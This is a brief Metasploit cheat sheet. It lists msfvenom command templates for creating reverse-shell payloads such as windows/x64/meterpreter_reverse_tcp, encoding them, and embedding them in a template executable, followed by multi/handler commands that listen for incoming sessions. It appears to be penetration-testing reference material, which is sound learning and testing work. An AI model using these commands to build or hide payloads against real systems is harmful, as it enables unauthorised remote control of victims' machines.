Creating a payload

• msfvenom -p [payload] LHOST=[listeninghost] LPORT=[listeningport]

To view list of payloads: msfvenom -l payloads To view the payload options: msfvenom -p windows/x64/meterpreter_reverse_tcp --list-options

Creating a payload with encoding

• msfvenom -p [payload] -e [encoder] -f [formattype] -i [iteration] <var=value> > outputfile

Creating a payload using a template

• msfvenom -p [payload] <var=value> -x [template] -f [formattype] > outputfile

Listening for MSfvenom Payloads:

msf5>use exploit/multi/handler  
msf5>set payload windows/meterpreter/reverse_tcp  
msf5>set lhost <IP>  
msf5>set lport <PORT>  
msf5> set ExitOnSession false  
msf5>exploit -j
